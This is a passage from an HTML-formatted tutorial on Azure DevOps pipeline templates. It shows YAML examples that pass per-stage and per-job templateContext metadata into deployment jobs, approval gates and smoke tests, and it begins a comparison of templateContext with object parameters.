style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ stage.templateContext.region }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Bridge stage templateContext values to runtime variables\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDEPLOY_REGION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.region }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTENANT_ID\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.tenantId }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Approval gate — injected only for stages where approvalRequired: true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ if stage.templateContext.approvalRequired }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eApprovalGate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserver                      \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# server job runs no agent\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etimeoutInMinutes\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e4320\u003c/span\u003e             \u003cspan style=\"color:#75715e\"\u003e# 3-day approval window\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eManualValidation@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Approve ${{ stage.templateContext.region }} deployment\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003einstructions\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    Review and approve deployment to ${{ stage.templateContext.region }}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    Tenant: ${{ stage.templateContext.tenantId }}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    Image: ${{ parameters.config.containerRegistry }}/${{ parameters.config.appName }}:${{ parameters.config.imageTag }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003eonTimeout\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ereject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Inject the caller\u0026#39;s jobs directly\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ each job in stage.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#ae81ff\"\u003e${{ job }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Deployment job — injected dynamically for every stage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ stage.templateContext.tenantId }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy ${{ parameters.config.appName }} to ${{ stage.templateContext.region }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#ae81ff\"\u003e${{ if stage.templateContext.approvalRequired }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eApprovalGate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.tenantId }}-${{ stage.templateContext.region }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy container to ${{ stage.templateContext.region }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eazureSubscription\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003escriptType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003escriptLocation\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003einlineScript\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003einlineScript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        az webapp config container set \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          --resource-group \u0026#34;rg-$(TENANT_ID)-$(DEPLOY_REGION)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          --name \u0026#34;${{ parameters.config.appName }}-$(TENANT_ID)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          --docker-custom-image-name \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                            \u0026#34;${{ parameters.config.containerRegistry }}/${{ parameters.config.appName }}:${{ parameters.config.imageTag }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      curl -f \u0026#34;$SMOKE_URL/health\u0026#34; || exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Smoke test\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eSMOKE_URL\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.smokeTestUrl }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAdding a new region requires one new entry in the \u003ccode\u003edeployStages\u003c/code\u003e list. The \u003ccode\u003eapprovalRequired\u003c/code\u003e, \u003ccode\u003eserviceConnection\u003c/code\u003e, \u003ccode\u003etenantId\u003c/code\u003e, and \u003ccode\u003eregion\u003c/code\u003e metadata travel with the stage. The template is unchanged.\u003c/p\u003e\n\u003ch3 id=\"nesting-templatecontext--jobs-inside-stages\"\u003eNesting \u003ccode\u003etemplateContext\u003c/code\u003e — Jobs Inside Stages\u003c/h3\u003e\n\u003cp\u003eA stage definition can carry stage-level \u003ccode\u003etemplateContext\u003c/code\u003e while its jobs carry their own job-level \u003ccode\u003etemplateContext\u003c/code\u003e. The two are independent and do not interfere:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# pipeline.yml — stage-level and job-level templateContext coexist\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edeployStages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployUSEast\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eregion: us-east           # stage-level\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapplies to the whole stage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployFrontend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003erole: frontend        # job-level\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapplies to this job only\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eport\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e443\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003efrontend-us\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy-frontend.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployAPI\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003erole\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eport\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e8080\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapi-us\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy-api.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy.yml — reads both levels correctly\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployStages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estageList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each stage in parameters.deployStages }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.stage }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSTAGE_REGION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.region }}   \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# stage-level\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in stage.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eJOB_ROLE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.role }} \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# job-level\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSERVICE_PORT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.port }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDo not duplicate stage-level properties in every job\u0026rsquo;s \u003ccode\u003etemplateContext\u003c/code\u003e. If a value applies to all jobs in a stage, declare it on the stage\u0026rsquo;s \u003ccode\u003etemplateContext\u003c/code\u003e and propagate it downward via the stage-level \u003ccode\u003evariables:\u003c/code\u003e block — jobs inherit those variables at runtime via \u003ccode\u003e$(VARIABLE_NAME)\u003c/code\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"templatecontext-vs-object-parameter--the-decision-framework\"\u003e\u003ccode\u003etemplateContext\u003c/code\u003e vs. \u003ccode\u003eobject\u003c/code\u003e Parameter — The Decision Framework\u003c/h2\u003e\n\u003ch3 id=\"what-each-tool-is-for\"\u003eWhat Each Tool Is For\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is for \u003cstrong\u003eper-item metadata\u003c/strong\u003e — properties that vary between individual jobs or stages in a list. Each item carries exactly the metadata it needs and nothing more.\u003c/p\u003e\n\u003cp\u003eAn \u003ccode\u003eobject\u003c/code\u003e parameter is for \u003cstrong\u003etemplate-wide configuration\u003c/strong\u003e — a single bundle that applies to the entire template invocation, shared equally by all items.\u003c/p\u003e\n\u003cp\u003eConfusing the two creates problems in either direction. A single flat \u003ccode\u003eobject\u003c/code\u003e parameter that grows a new property every time a new per-job variation is needed becomes a sprawling schema with dozens of prefixed properties (\u003ccode\u003edevServiceConnection\u003c/code\u003e, \u003ccode\u003estagingServiceConnection\u003c/code\u003e, \u003ccode\u003eprodServiceConnection\u003c/code\u003e). \u003ccode\u003etemplateContext\u003c/code\u003e carrying global configuration — the container registry URL, the build number — forces every job entry to repeat the same value.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003e\u003ccode\u003etemplateContext\u003c/code\u003e\u003c/th\u003e\n          \u003cth\u003e\u003ccode\u003eobject\u003c/code\u003e parameter\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eScope\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePer item in a list (one job or stage)\u003c/td\u003e\n          \u003ctd\u003eEntire template invocation\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDeclaration location\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eInside the job or stage definition\u003c/td\u003e\n          \u003ctd\u003eIn the calling pipeline\u0026rsquo;s \u003ccode\u003eparameters:\u003c/code\u003e block\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAccess syntax\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ job.templateContext.prop }}\u003c/code\u003e inside \u003ccode\u003e${{ each }}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ parameters.config.prop }}\u003c/code\u003e anywhere in the template\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eNew item added\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eNo template change needed — new item brings its own metadata\u003c/td\u003e\n          \u003ctd\u003eNo template change needed — shared config 